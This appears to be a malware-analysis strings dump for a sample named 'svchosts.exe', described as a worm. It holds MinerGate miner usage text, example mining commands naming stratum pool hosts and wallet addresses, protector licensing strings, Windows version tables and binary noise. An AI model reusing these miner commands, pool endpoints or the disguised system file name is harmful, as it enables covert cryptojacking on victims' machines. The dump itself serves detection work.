.....A.i..Z....[%J.....=2"v].....L.P..!........PC*.........j 8.~.)

<<< skipped >>>

The Worm connects to the servers at the folowing location(s):

svchosts.exe_2836:

.rsrc
.data
}.SVW
X%xM6
.nP,.n0..n@/.nP0.n
U.n0Z.npn.n
..\..\..\..\sources\miner-console-application\src\main.cpp
minergate-cli [-version] -user <email> [-proxy <url>] -<currency> <threads> [<gpu intensity>] [-<currency> <threads> [<gpu intensity>] ...] [-o <pool> -u <login> [-t <threads>] [-i <gpu intensity>]]
account email from minergate.com
proxy server URL. Supports only socks protocols (for example: socks://192.168.0.1:1080
mining pool URL
mining pool login
minergate-cli -user minergate@minergate.com -proxy socks://192.168.0.1:1080 -bcn 4
minergate-cli -user minergate@minergate.com -proxy socks://192.168.0.1:1080 -xmr 2 -o stratum tcp://sbk.extremepool.org:5555 -u SbLi3ddQ7DWWs4EA3Rtqf6JNtfTVJHRzGXNUtiaACRXFEkQ9u8h9Gf9SYPW5ugpJKYECZXczYfc1BV1mkH8sYdmF1MyRMSdSj -t 3 -i 2
minergate-cli -user minergate@minergate.com -bcn 0 2 -fcn xmr 3 -qcn 1
minergate-cli -user minergate@minergate.com -bcn 2 2 -fcn xmr 3 -o stratum tcp://oec.xminingpool.com:7555 -u C5JUSUFJfkbbqpJAcrR7wK7FdzLAwjn52DF3sD2tyH3fgH9x95nAWshapc3JxpsEPoPSvcPNWpwsjRhCuFyA4G9xNiQd4Jt -t 3
minergate-cli -o stratum tcp://sbk.extremepool.org:5555 -u SbLi3ddQ7DWWs4EA3Rtqf6JNtfTVJHRzGXNUtiaACRXFEkQ9u8h9Gf9SYPW5ugpJKYECZXczYfc1BV1mkH8sYdmF1MyRMSdSj -i 3
Incorrect proxy URL
Pool login missed
login
.lock
2criticalUpdatesAvailableSignal(QUrl)
httpPort
stratumPort
stratum tcp://%1:%2
minermanager-lock-9637ffb0-bbf9-11e3-a5e2-0800200c9a66
Windows
hXXps://minergate.com
password
Missing password
/api/2.2/auth/login
1loginResp(quint32, QByteArray, QVariant)
Login request URL: %1
..\..\..\..\sources\miner-core\src\serverapi.cpp
JSON error: %s
WrongEmailOrPassword
Error: %s
Balance request URL: %1
Payout request URL: %1
webPageUrl
Login response data: %1
LOGIN response: %1
WebSocket connected successfully!
client.info
WebSocket disconnected
channel:mining.stats.changes
channel:user.profile
workers.statuses
WebSocket message: %1
loginResp
_pool_url
_coin_key
127.0.0.1
--api-port
%1.log
%1://%2:%3
bfgminer.exe
miners.ini
minergate.log
void __thiscall MinerGate::Logger::infoMsg(const class QString &,const class QString &)
..\..\..\..\sources\utils\src\logger.cpp
void __thiscall MinerGate::Logger::warningMsg(const class QString &,const class QString &)
void __thiscall MinerGate::Logger::criticalMsg(const class QString &,const class QString &)
void __thiscall MinerGate::Logger::fatalMsg(const class QString &,const class QString &)
[%1] [%2] %3
yyyy-MM-dd HH:mm:ss.zzz
proxy-url
application/x-www-form-urlencoded
%1:%2:%3:%4
WebSocket API Proxy: %1 %2:%3
/websocket/
https
dev@minergate.com
startCpu
jsonrpc_request_login
jsonrpc_response_login
tryLogin
1login(QVariantMap)
2jsonrpc_response_login(QVariantMap)
1tryLogin()
StratumClient: Login ERROR
Failed to submit share! (msg="%1" id="%2" job_id="%3" nonce="%4" result="%5"), updating job...
Failed to login! (msg="%1"), disconnect and sleep...
Error! (msg="%1" code="%2" method="%3"), disconnect and sleep...
JsonRpc::TcpNetworkEngine
GPU #%d: result for fee nonce $X does not validate on CPU!
GPU #%d: result for nonce $X does not validate on CPU!
q>e%D#
tX4Fr.rh.46Aw-wl-6
.eK9K\9.
C:\Users\user\Documents\projects\minergate.app\build\win32-cli\RelWithDebInfo\minergate-cli.pdb
.?AVTcpNetworkEngine@JsonRpc@@
t44Fr.rh.66Aw-wl-
..eK9K\9
.44Fr.rh-66Aw-wl
9..eK9K\W
h.44Fr.rl-66Aw-w
O\9..eK9K=W
trh.44Fr.wl-66Aw-
K\9..eK9
.rh.44Fr-wl-66Aw
O9K\9..eKW
r.rh.44Fw-wl-66A
tXXFr.rh.44Aw-wl-66
C:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_core.cu
{ 6;'67'
A.EK)W
.shstrtab
.strtab
.symtab
.text._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.nv.info
.nv.constant0._Z27cryptonight_core_gpu_phase2iiiPhP19cryptonight_gpu_ctx
.text._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.nv.constant0._Z27cryptonight_core_gpu_phase3iPhP19cryptonight_gpu_ctx
.text._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.constant0._Z27cryptonight_core_gpu_phase1iPhP19cryptonight_gpu_ctx
.nv.constant2
I).rl|
.nv.constant3
g%XTkZ
`zC:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_core.cu
H80.Gc
C:/Users/user/Documents/projects/minergate.app/sources/cudaminer/src/cuda_cryptonight_extra.cu
.IILh
..ax$
.QH4y
M%U1.
Yy.iu
Lo7%Dx'J{Hy
Ä[dw
.Tsv2
]QCwEBwE
$3.YuA
%ctcIB
`.eBh.
3I.IY
o.xiK
BÞ\H\
Rk.ae
uY.La
.EYID7
.EYFD7
68(:N.Dn
j`.Eb
.cfyu
njb.EbQ
kb.Eb
kb.EbQ
>|.nJ
,ÿj
%n%f}
H.LU.
Çac
u|.XP
y#.dH
.MP<>
).kB"`
7{w\%f
%SFW$
#%.am
3.%Uz
&u.Er
Z8.amP
HC%Uh~
B.yE4
@.BQ,
%XKxAA<
J.OKL
.WyJt]`a
\.mkE
.GK79Z
>/G:.is
m%Fln
*}.Yn
E.vC.r
i^(.BrD
yAo%f
aK@cRt'
Ez%X$@@<&
*.HoZ
*;.Liuz'
x!C%F:
CCu.oWf
A.Pq<
e.AMgn
%Uq/YG
k%CUr~
_ .Pyy
.bO`Em
mA\.ocR1
.text._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.nv.info._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.nv.shared._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.nv.constant0._Z29cryptonight_extra_gpu_prepareiPjjP19cryptonight_gpu_ctx
.text._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.info._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.shared._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.constant16._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
.nv.constant0._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
hC\%U
.nv.constant2._Z27cryptonight_extra_gpu_finalijPjS_P19cryptonight_gpu_ctx
8722222
\.UUUU9C
:zq%3u
.LGvS
2O%XF
%%Xx)
>E.mLG
.pHkF`
?;.Ry
.XG6sy
$1"%f%
NdRg4%3X
.VYIT7
k.OlzF
R%Dx2J
m.Sg.S
Og.Se
`%Flu
%sM!v
'c.YN
~,%f}I
,dN.kl/
s.oV?
.akPp
ch-y}
n.AzP
")6%f
IK.Za
%FX_b
hwEB
:>/òZ
=/òZ
M-GS5}
n.Az`
y%Sc}T
L.DG$C
C.Spys
^*.mOs
a^.zO
n.XZXv
K#.XP
=L^X(,@.wB
.gnBEX
û)<
.Aw <%
,X.UI
d^%uQ*
y.xs.
bp>%XqGx
$/.sUc
S%fwa
_-s}!s
@h.GA
9\M%d
(:g".Ey
Hg|%u
)$X%U(yFWu $0
!f9%Dul
hû1d#q
S2w.bH
.WQ._c
T.WQq_a
.CvsQy
~lcL.CCp*
.%U&%
u.LKW]
.uA:S
.vlf'
.GIprl
bF@.mU
O.YLr-
b7.MW*
l@-5}
dgW%C
uo.ps
v.zS?
U.Wzx
7P%9UYp2
')1%DW
JR.Re
*/?;.Qy
5O%XB
?;.Sy
T.BiP
e@.Ja
^uüa
j.DeD@Z
m.Sd$
l.Sb$
|.Sb.S
N%u2b[
NE.SK
5.NXi
.Nw-s
t~ %U
eb.EbQNgK
.hB.=bQ
A}|,%f
eb.EbQ
3RF.kv
gb.EbQ
t!l<mM.ia
5x!~.iy
mM.Ayp'
O,#z!n.ye
d5&7kN.AA
mM.AA
xb%UM
.wZQE
.wZA$
=Zx%S
n.Azpf
AvuDPG
\P6.xW
.XZWC
).kBR
n.Azp
%XLx1
.Wyjt]`e
K5.zvT
G@B%c
d.pB'
%U 4"
.gx/F<
S%f_a
f%6uK
q.TRM
b%Us)
&.MH0
T%6uK*2
.IC2C
<7}%Fl
glQ
E.abh
b6%.Ff
B6'
oA.Zq
.QV$b
.YU!Y
W.WIY
@V%D L
z%s##
"!kEY
vL"-X}i
| |%F
.ls1QO
z%%xk5
.Fb1d#1P
L$.Cfo
n;.Rw
I~%xT
u?%CsaDZs
L%u0L
fL.zL
portP;
G\.Qw
G\.SG
H8.NG
G\%Cg
G\.RG
G\.Zw
H8%D'
(8.PG
G8%FW
6T.Wb
6..Ge
[7.wc
H8.OW
(8@.Gb
6%dG*0
H8.gG*0
H8.jG*0
G\.FWd
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
kernel32.dll
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
comctl32.dll
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
EVariantBadIndexError
ole32.dll
!"#$%&*;<=>@[]^_`{|}
ssShift
htKeyword
EInvalidOperation
u%CNu
%s[%d]
%s_%d
.Owner
TNT Internal Error: TWideComponentHelper.Create should never be encountered.
w:\3rdparty\TntUnicode\Source\TntClasses.pas
Internal Error: Unexpected format type (%s)
W:\3rdparty\ScreamSec\SecUtils.pas
TCipher.CreateIntf: Algorithm mismatch
TBlockCipher.CreateIntf: Wrong VectorSize
Cipher mode not supported
The vector for %s is %d blocks. Cannot initialize with a %d block vector.
The block size for %s is %d bytes and the key is %d bytes. Cannot initialize with a %d block vector.
The minimum key and IV size for %s is %d bytes.
Not supported
TRijndael_PipedPCFB
Rijndael: Invalid key size - %d
2.16.840.1.101.3.4.1.1
2.16.840.1.101.3.4.1.21
2.16.840.1.101.3.4.1.41
1.3.6.1.4.1.13085.1.22
1.3.6.1.4.1.13085.1.23
1.3.6.1.4.1.13085.1.24
2.16.840.1.101.3.4.1.4
2.16.840.1.101.3.4.1.24
2.16.840.1.101.3.4.1.44
1.3.6.1.4.1.13085.1.7
1.3.6.1.4.1.13085.1.8
1.3.6.1.4.1.13085.1.9
1.3.6.1.4.1.13085.1.4
1.3.6.1.4.1.13085.1.5
1.3.6.1.4.1.13085.1.6
1.3.6.1.4.1.13085.1.10
1.3.6.1.4.1.13085.1.11
1.3.6.1.4.1.13085.1.12
1.3.6.1.4.1.13085.1.1
1.3.6.1.4.1.13085.1.2
1.3.6.1.4.1.13085.1.3
1.3.6.1.4.1.13085.1.16
1.3.6.1.4.1.13085.1.17
1.3.6.1.4.1.13085.1.18
2.16.840.1.101.3.4.1.2
2.16.840.1.101.3.4.1.22
2.16.840.1.101.3.4.1.42
1.3.6.1.4.1.13085.1.19
1.3.6.1.4.1.13085.1.20
1.3.6.1.4.1.13085.1.21
2.16.840.1.101.3.4.1.3
2.16.840.1.101.3.4.1.23
2.16.840.1.101.3.4.1.43
2.16.840.1.101.3.4.1.5
2.16.840.1.101.3.4.1.25
2.16.840.1.101.3.4.1.45
/* Dr Brian Gladman (gladman@seven77.demon.co.uk) 14th January 1999 */
TGenerator.Create: Cipher mode must be cmCTR.
TMPPool.CheckThreadID: Called from the wrong thread.
TMPPool.Cache: Invalid pointer
TMPPool.Obtain: Out of memory
TMPPool.InternalCheck: Invalid pointer
Portugal
Turkey
TKeyVerifyParams
12345678-
EP_RegCheckKey
EP_RegCheckKeyA
EP_RegCheckKeyW
EP_RegSaveKey
EP_RegSaveKeyA
EP_RegSaveKeyW
EP_RegLoadKey
EP_RegLoadKeyA
EP_RegLoadKeyW
EP_RegLoadAndCheckKey
EP_RegCheckAndSaveKey
EP_RegCheckAndSaveKeyA
EP_RegCheckAndSaveKeyW
EP_RegDeleteKey
EP_RegKeyExpirationDate
EP_RegKeyExpirationDateEx
EP_RegKeyCreationDate
EP_RegKeyCreationDateEx
EP_RegKeyExecutions
EP_RegKeyExecutionsTotal
EP_RegKeyExecutionsLeft
EP_RegKeyDays
EP_RegKeyDaysTotal
EP_RegKeyDaysLeft
EP_RegKeyRuntime
EP_RegKeyRuntimeTotal
EP_RegKeyRuntimeLeft
EP_RegKeyGlobalTime
EP_RegKeyGlobalTimeTotal
EP_RegKeyGlobalTimeLeft
EP_RegKeyRegisterAfterDate
EP_RegKeyRegisterAfterDateEx
EP_RegKeyRegisterBeforeDate
EP_RegKeyRegisterBeforeDateEx
EP_TrialExecutions
EP_TrialExecutionsTotal
EP_TrialExecutionsLeft
EP_TrialExecutionTime
EP_TrialExecutionTimeTotal
EP_TrialExecutionTimeLeft
EP_RegCheckKeyEx
EP_RegSaveKeyEx
EP_RegLoadKeyEx
EP_CheckUpStartupPasswordHashString
EP_ProtectedStringByKey
EP_RegKeyInformation
EP_RegKeyInformationA
EP_RegKeyInformationW
EP_RegKeyStatus
Windows 95
WIN_VER_WINDOWS95
Windows 95 OSR2
WIN_VER_WINDOWS95OSR2
Windows 98
WIN_VER_WINDOWS98
Windows 98 SE
WIN_VER_WINDOWS98SE
Windows ME
WIN_VER_WINDOWSME
Windows 2000
WIN_VER_WINDOWS2000
Windows 2000 Professional
WIN_VER_WINDOWS2000PROF
Windows 2000 Data Server
WIN_VER_WINDOWS2000DATASERVER
Windows 2000 Advanced Server
WIN_VER_WINDOWS2000ADVSERVER
Windows 2000 Server
WIN_VER_WINDOWS2000SERVER
Windows XP
WIN_VER_WINDOWSXP
Windows XP Home
WIN_VER_WINDOWSXPHOME
Windows XP Professional
WIN_VER_WINDOWSXPPROF
Windows XP Professional x64
WIN_VER_WINDOWSXPPROFx64
Windows XP Professional Datacenter x64
WIN_VER_WINDOWSXPPROFDATACENTERx64
Windows XP Professional Enterprise x64
WIN_VER_WINDOWSXPPROFENERPRICEx64
Windows XP Professional Standart x64
WIN_VER_WINDOWSXPPROFSTANDARTx64
Windows 2003
Windows 2003 Server
WIN_VER_WINDOWS2003SERVER
Windows 2003 Server R2
WIN_VER_WINDOWS2003SERVERR2
Windows 2003 Storage Server
WIN_VER_WINDOWS2003STORAGESERVER
Windows 2003 Datacenter Itanium
WIN_VER_WINDOWS2003DATACENTERITANIUM
Windows 2003 Enterprise Itanium
WIN_VER_WINDOWS2003ENTERPRICEITANIUM
Windows 2003 Datacenter x64
WIN_VER_WINDOWS2003DATACENTERx64
Windows 2003 Enterprise x64
WIN_VER_WINDOWS2003ENERPRICEx64
Windows 2003 Standart x64
WIN_VER_WINDOWS2003STANDARTx64
Windows 2003 Compute
WIN_VER_WINDOWS2003COMPUTE
Windows 2003 Datacenter
WIN_VER_WINDOWS2003DATACENTER
Windows 2003 Enterprise
WIN_VER_WINDOWS2003ENTERPRICE
Windows 2003 Web
WIN_VER_WINDOWS2003WEB
Windows 2003 Standart
WIN_VER_WINDOWS2003STANDART
Windows Vista
WIN_VER_WINDOWSVISTA
Windows Vista Business
WIN_VER_WINDOWSVISTA_BUSINESS
Windows Vista Cluster Server
WIN_VER_WINDOWSVISTA_CLUSTER_SERVER
Windows Vista Datacenter Server
WIN_VER_WINDOWSVISTA_DATACENTER_SERVER
Windows Vista Datacenter Server Core
WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE
Windows Vista Datacenter Server Core V
WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_CORE_V
Windows Vista Datacenter Server V
WIN_VER_WINDOWSVISTA_DATACENTER_SERVER_V
Windows Vista Enterprise
WIN_VER_WINDOWSVISTA_ENTERPRICE
Windows Vista Enterprise Server
WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER
Windows Vista Enterprise Server Core
WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE
Windows Vista Enterprise Server V
WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_V
Windows Vista Enterprise Server Core V
WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_CORE_V
Windows Vista Enterprise Server IA64
WIN_VER_WINDOWSVISTA_ENTERPRISE_SERVER_IA64
Windows Vista Home Basic
WIN_VER_WINDOWSVISTA_HOME_BASIC
Windows Vista Home Premium
WIN_VER_WINDOWSVISTA_HOME_PREMIUM
Windows Vista Home Server
WIN_VER_WINDOWSVISTA_HOME_SERVER
Windows Vista Server For Small Business
WIN_VER_WINDOWSVISTA_SERVER_FOR_SMALLBUSINESS
Windows Vista Small Business Server
WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER
Windows Vista Small Business Server Premium
WIN_VER_WINDOWSVISTA_SMALLBUSINESS_SERVER_PREMIUM
Windows Vista Medium Business Server Management
WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MANAGEMENT
Windows Vista Medium Business Server Messaging
WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_MESSAGING
Windows Vista Medium Business Server Security
WIN_VER_WINDOWSVISTA_MEDIUMBUSINESS_SERVER_SECURITY
Windows Vista Standard Server
WIN_VER_WINDOWSVISTA_STANDARD_SERVER
Windows Vista Standard Server V
WIN_VER_WINDOWSVISTA_STANDARD_SERVER_V
Windows Vista Standard Server Core
WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE
Windows Vista Standard Server Core V
WIN_VER_WINDOWSVISTA_STANDARD_SERVER_CORE_V
Windows Vista Starter
WIN_VER_WINDOWSVISTA_STARTER
Windows Vista Storage Enterprise Server
WIN_VER_WINDOWSVISTA_STORAGE_ENTERPRISE_SERVER
Windows Vista Storage Express Server
WIN_VER_WINDOWSVISTA_STORAGE_EXPRESS_SERVER
Windows Vista Storage Standard Server
WIN_VER_WINDOWSVISTA_STORAGE_STANDARD_SERVER
Windows Vista Storage Workgroup Server
WIN_VER_WINDOWSVISTA_STORAGE_WORKGROUP_SERVER
Windows Vista Undefined
WIN_VER_WINDOWSVISTA_UNDEFINED
Windows Vista Ultimate
WIN_VER_WINDOWSVISTA_ULTIMATE
Windows Vista Web Server
WIN_VER_WINDOWSVISTA_WEB_SERVER
Windows Vista Web Server Core
WIN_VER_WINDOWSVISTA_WEB_SERVER_CORE
Windows Vista Unlicensed
WIN_VER_WINDOWSVISTA_UNLICENSED
Windows 2008
WIN_VER_WINDOWS2008
Windows 2008 Business
WIN_VER_WINDOWS2008_BUSINESS
Windows 2008 Cluster Server
WIN_VER_WINDOWS2008_CLUSTER_SERVER
Windows 2008 Datacenter Server
WIN_VER_WINDOWS2008_DATACENTER_SERVER
Windows 2008 Datacenter Server Core
WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE
Windows 2008 Datacenter Server Core V
WIN_VER_WINDOWS2008_DATACENTER_SERVER_CORE_V
Windows 2008 Datacenter Server V
WIN_VER_WINDOWS2008_DATACENTER_SERVER_V
Windows 2008 Enterprise
WIN_VER_WINDOWS2008_ENTERPRICE
Windows 2008 Enterprise Server
WIN_VER_WINDOWS2008_ENTERPRISE_SERVER
Windows 2008 Enterprise Server Core
WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE
Windows 2008 Enterprise Server V
WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_V
Windows 2008 Enterprise Server Core V
WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_CORE_V
Windows 2008 Enterprise Server IA64
WIN_VER_WINDOWS2008_ENTERPRISE_SERVER_IA64
Windows 2008 Home Basic
WIN_VER_WINDOWS2008_HOME_BASIC
Windows 2008 Home Premium
WIN_VER_WINDOWS2008_HOME_PREMIUM
Windows 2008 Home Server
WIN_VER_WINDOWS2008_HOME_SERVER
Windows 2008 Server For Small Business
WIN_VER_WINDOWS2008_SERVER_FOR_SMALLBUSINESS
Windows 2008 Small Business Server
WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER
Windows 2008 Small Business Server Premium
WIN_VER_WINDOWS2008_SMALLBUSINESS_SERVER_PREMIUM
Windows 2008 Medium Business Server Management
WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MANAGEMENT
Windows 2008 Medium Business Server Messaging
WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_MESSAGING
Windows 2008 Medium Business Server Security
WIN_VER_WINDOWS2008_MEDIUMBUSINESS_SERVER_SECURITY
Windows 2008 Standard Server
WIN_VER_WINDOWS2008_STANDARD_SERVER
Windows 2008 Standard Server V
WIN_VER_WINDOWS2008_STANDARD_SERVER_V
Windows 2008 Standard Server Core
WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE
Windows 2008 Standard Server Core V
WIN_VER_WINDOWS2008_STANDARD_SERVER_CORE_V
Windows 2008 Starter
WIN_VER_WINDOWS2008_STARTER
Windows 2008 Storage Enterprise Server
WIN_VER_WINDOWS2008_STORAGE_ENTERPRISE_SERVER
Windows 2008 Storage Express Server
WIN_VER_WINDOWS2008_STORAGE_EXPRESS_SERVER
Windows 2008 Storage Standard Server
WIN_VER_WINDOWS2008_STORAGE_STANDARD_SERVER
Windows 2008 Storage Workgroup Server
WIN_VER_WINDOWS2008_STORAGE_WORKGROUP_SERVER
Windows 2008 Undefined
WIN_VER_WINDOWS2008_UNDEFINED
Windows 2008 Ultimate
WIN_VER_WINDOWS2008_ULTIMATE
Windows 2008 Web Server
WIN_VER_WINDOWS2008_WEB_SERVER
Windows 2008 Web Server Core
WIN_VER_WINDOWS2008_WEB_SERVER_CORE
Windows 2008 Unlicensed
WIN_VER_WINDOWS2008_UNLICENSED
Windows 2008 R2
WIN_VER_WINDOWS2008R2
Windows 2008 R2 Business
WIN_VER_WINDOWS2008R2_BUSINESS
Windows 2008 R2 Cluster Server
WIN_VER_WINDOWS2008R2_CLUSTER_SERVER
Windows 2008 R2 Datacenter Server
WIN_VER_WINDOWS2008R2_DATACENTER_SERVER
Windows 2008 R2 Datacenter Server Core
WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE
Windows 2008 R2 Datacenter Server Core V
WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_CORE_V
Windows 2008 R2 Datacenter Server V
WIN_VER_WINDOWS2008R2_DATACENTER_SERVER_V
Windows 2008 R2 Enterprise
WIN_VER_WINDOWS2008R2_ENTERPRICE
Windows 2008 R2 Enterprise Server
WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER
Windows 2008 R2 Enterprise Server Core
WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE
Windows 2008 R2 Enterprise Server V
WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_V
Windows 2008 R2 Enterprise Server Core V
WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_CORE_V
Windows 2008 R2 Enterprise Server IA64
WIN_VER_WINDOWS2008R2_ENTERPRISE_SERVER_IA64
Windows 2008 R2 Home Basic
WIN_VER_WINDOWS2008R2_HOME_BASIC
Windows 2008 R2 Home Premium
WIN_VER_WINDOWS2008R2_HOME_PREMIUM
Windows 2008 R2 Home Server
WIN_VER_WINDOWS2008R2_HOME_SERVER
Windows 2008 R2 Server For Small Business
WIN_VER_WINDOWS2008R2_SERVER_FOR_SMALLBUSINESS
Windows 2008 R2 Small Business Server
WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER
Windows 2008 R2 Small Business Server Premium
WIN_VER_WINDOWS2008R2_SMALLBUSINESS_SERVER_PREMIUM
Windows 2008 R2 Medium Business Server Management
WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MANAGEMENT
Windows 2008 R2 Medium Business Server Messaging
WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_MESSAGING
Windows 2008 R2 Medium Business Server Security
WIN_VER_WINDOWS2008R2_MEDIUMBUSINESS_SERVER_SECURITY
Windows 2008 R2 Standard Server
WIN_VER_WINDOWS2008R2_STANDARD_SERVER
Windows 2008 R2 Standard Server V
WIN_VER_WINDOWS2008R2_STANDARD_SERVER_V
Windows 2008 R2 Standard Server Core
WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE
Windows 2008 R2 Standard Server Core V
WIN_VER_WINDOWS2008R2_STANDARD_SERVER_CORE_V
Windows 2008 R2 Starter
WIN_VER_WINDOWS2008R2_STARTER
Windows 2008 R2 Storage Enterprise Server
WIN_VER_WINDOWS2008R2_STORAGE_ENTERPRISE_SERVER
Windows 2008 R2 Storage Express Server
WIN_VER_WINDOWS2008R2_STORAGE_EXPRESS_SERVER
Windows 2008 R2 Storage Standard Server
WIN_VER_WINDOWS2008R2_STORAGE_STANDARD_SERVER
Windows 2008 R2 Storage Workgroup Server
WIN_VER_WINDOWS2008R2_STORAGE_WORKGROUP_SERVER
Windows 2008 R2 Undefined
WIN_VER_WINDOWS2008R2_UNDEFINED
Windows 2008 R2 Ultimate
WIN_VER_WINDOWS2008R2_ULTIMATE
Windows 2008 R2 Web Server
WIN_VER_WINDOWS2008R2_WEB_SERVER
Windows 2008 R2 Web Server Core
WIN_VER_WINDOWS2008R2_WEB_SERVER_CORE
Windows 2008 R2 Unlicensed
WIN_VER_WINDOWS2008R2_UNLICENSED
Windows 7
WIN_VER_WINDOWSSEVEN
Windows 7 Business
WIN_VER_WINDOWSSEVEN_BUSINESS
Windows 7 Cluster Server
WIN_VER_WINDOWSSEVEN_CLUSTER_SERVER
Windows 7 Datacenter Server
WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER
Windows 7 Datacenter Server Core
WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE
Windows 7 Datacenter Server Core V
WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_CORE_V
Windows 7 Datacenter Server V
WIN_VER_WINDOWSSEVEN_DATACENTER_SERVER_V
Windows 7 Enterprise
WIN_VER_WINDOWSSEVEN_ENTERPRICE
Windows 7 Enterprise Server
WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER
Windows 7 Enterprise Server Core
WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE
Windows 7 Enterprise Server V
WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_V
Windows 7 Enterprise Server Core V
WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_CORE_V
Windows 7 Enterprise Server IA64
WIN_VER_WINDOWSSEVEN_ENTERPRISE_SERVER_IA64
Windows 7 Home Basic
WIN_VER_WINDOWSSEVEN_HOME_BASIC
Windows 7 Home Premium
WIN_VER_WINDOWSSEVEN_HOME_PREMIUM
Windows 7 Home Server
WIN_VER_WINDOWSSEVEN_HOME_SERVER
Windows 7 Server For Small Business
WIN_VER_WINDOWSSEVEN_SERVER_FOR_SMALLBUSINESS
Windows 7 Small Business Server
WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER
Windows 7 Small Business Server Premium
WIN_VER_WINDOWSSEVEN_SMALLBUSINESS_SERVER_PREMIUM
Windows 7 Medium Business Server Management
WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MANAGEMENT
Windows 7 Medium Business Server Messaging
WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_MESSAGING
Windows 7 Medium Business Server Security
WIN_VER_WINDOWSSEVEN_MEDIUMBUSINESS_SERVER_SECURITY
Windows 7 Standard Server
WIN_VER_WINDOWSSEVEN_STANDARD_SERVER
Windows 7 Standard Server V
WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_V
Windows 7 Standard Server Core
WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE
Windows 7 Standard Server Core V
WIN_VER_WINDOWSSEVEN_STANDARD_SERVER_CORE_V
Windows 7 Starter
WIN_VER_WINDOWSSEVEN_STARTER
Windows 7 Storage Enterprise Server
WIN_VER_WINDOWSSEVEN_STORAGE_ENTERPRISE_SERVER
Windows 7 Storage Express Server
WIN_VER_WINDOWSSEVEN_STORAGE_EXPRESS_SERVER
Windows 7 Storage Standard Server
WIN_VER_WINDOWSSEVEN_STORAGE_STANDARD_SERVER
Windows 7 Storage Workgroup Server
WIN_VER_WINDOWSSEVEN_STORAGE_WORKGROUP_SERVER
Windows 7 Undefined
WIN_VER_WINDOWSSEVEN_UNDEFINED
Windows 7 Ultimate
WIN_VER_WINDOWSSEVEN_ULTIMATE
Windows 7 Web Server
WIN_VER_WINDOWSSEVEN_WEB_SERVER
Windows 7 Web Server Core
WIN_VER_WINDOWSSEVEN_WEB_SERVER_CORE
Windows 7 Unlicensed
WIN_VER_WINDOWSSEVEN_UNLICENSED
Portuguese (Brazil)
Portuguese (Portugal)
Enigma_Plugin_OnSaveKey
Enigma_Plugin_OnLoadKey
ntdll.dll
LS_Enigma_Plugin_OnDeleteKey
TExecutedProcess
CCommonOperationSystem
ZwOpenKey
ZwEnumerateValueKey
ZwQueryKey
ZwQueryValueKey
ZwCreateKey
